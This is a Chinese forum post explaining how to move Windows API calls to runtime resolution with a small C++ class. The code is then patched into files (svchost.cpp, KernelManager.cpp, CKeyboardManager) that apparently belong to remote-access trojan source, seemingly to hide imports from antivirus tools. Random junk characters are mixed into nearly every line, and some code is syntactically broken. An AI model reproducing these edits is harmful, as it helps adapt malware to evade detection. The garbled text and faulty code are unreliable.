返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记
3 H& R5 p! m8 z# J4 xsvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
. z2 ?) c. }6 t/ c----------------------------------------6 [: j% R, F% U  a- R
DTDY.h:
( v2 l7 l( S* W6 c1 W+ J
& ?- q& y9 N8 K& H#if _MSC_VER>1000
5 r: @  d0 Z, n  J4 H* e; e! w#pragma once8 j! M6 z' `( l  a# M
#endif //_MSC_VER>1000
! q/ o0 N3 i8 z! |#include<windows.h>
( a) L* p9 o. L0 F5 I3 k
1 T8 K4 d$ T6 |: K* p: Mtypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
; j: Q$ n. [: O: g' Sclass DTDY
; f5 ?# H  d; x2 g6 g/ G: d! `{
9 t% C8 u2 y2 g# K2 _6 xpublic:
, F. q+ A; C, ~4 m, s: FDTDY();
0 Q# j8 `8 Z" Evirtual ~DTDY();% A2 l* R) U- L0 K
public:9 I; n: M6 r- g& M$ }3 ~) ~4 L) D
static pGetModuleFileNameA MyGetModuleFileName;  f; J& t$ N/ ]& M7 ^6 b" W
static BOOL FunInitiallization();4 G4 Q: S$ S( k0 M6 ]4 s
};
+ f  k, N7 b0 w. M" n$ M0 |#endif
/ l4 L; R; R* i* ^+ i9 `----------------------------------------3 A( A: \; k/ G' p5 {, n) t) s

3 D2 {2 M  Q/ c, A5 lDTDY.cpp:
% H1 J, b) ^& G+ \! S* I4 q
9 ~/ m" \* t3 n, Z0 Q#include "DTDY.h"0 W- z* s1 U- U  T+ o
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
5 H8 Z) o* j# A( w6 {3 m5 M- ADTDY:TDY()
( a3 A3 u# o2 I  u. r/ A* `{
9 T$ W, N! H( b, \9 P9 {, S# `3 I  L}
' R5 ~7 i. o. i# XDTDY::~DTDY()3 z1 a. S8 k$ H' {1 ~
{. X  Q: l/ E3 c! p( Y4 c  f( X
}. q0 m4 d( V  |! M' h" u' n# p& P
BOOL DTDY::FunInitiallization()
! v5 e" r: I# U$ T{& i6 \9 H" y! B- v: g# X* A5 L
HMODULE hModule=LoadLibrary("kernel32.dll");8 x" _' p& L# g+ s9 ?+ R
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");- U7 p; c3 J: ]. q% t
if(!MyGetModuleFileName=) return FALSE;
1 l* b; ~: V  m( p8 @2 N. s" J( q$ R$ |
return TRUE;# n: ~: I7 T# ^$ B/ ~( G! d
}# A" i+ L# ~8 z1 h2 F
----------------------------------------9 p! E) q, b9 g* l  X4 Y2 I# D
svchost.cpp:
$ }. z( s: Q+ |" W, ^2 f0 I6 S1 s- E  ~# O  r7 o
#include "DTDY.h"6 [9 n# Z1 s. }3 g

6 K5 \* M7 e' B7 O) o# nBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
" q' P# u' {6 }{9 c' G/ @2 P! `3 z6 S- ^) x  u
switch(ul_reason_for_call)
  p, C9 c6 v& r, S/ q) ~{% \& C# S' W3 L0 r0 z9 f5 t5 z. o
case DLL_PROCESS_ATTACH:$ \3 g3 u- }3 _% Q* n8 a, t
if(!DTDY::FunInitiallization()) return FALSE;
& g2 P2 N& @8 ?# T
9 h5 B2 C- D7 g) a- d3 Jbreak;
: z: P9 p( ]7 l8 {}% R" P. P  N+ ]& R, [
}+ F# E9 F6 c' D4 f6 E: r
0 S9 o/ X1 n/ S* E
' I9 D' e/ B2 r' e
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def* G% @7 C; ?# S
改写为; u% \6 w+ z# U
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));$ v# D/ h, i( ], ~3 Z7 l" Z
----------------------------------------  I( [) C  f, u; u$ S) h& v- ^' ~
KernelManager.cpp:
$ Y8 R) D: z" [* n. e: a, z( }. J0 _0 u) R
#include "../DTDY.h"
* y8 V# K0 J9 B6 _8 d, KGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));/ x* t9 n' Y# G$ S) `. K  j6 ~
改写为
9 [  E+ k7 p2 t1 I$ [( T# M2 c" gDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
% w, g4 I  |/ [7 t8 ?----------------------------------------

返回列表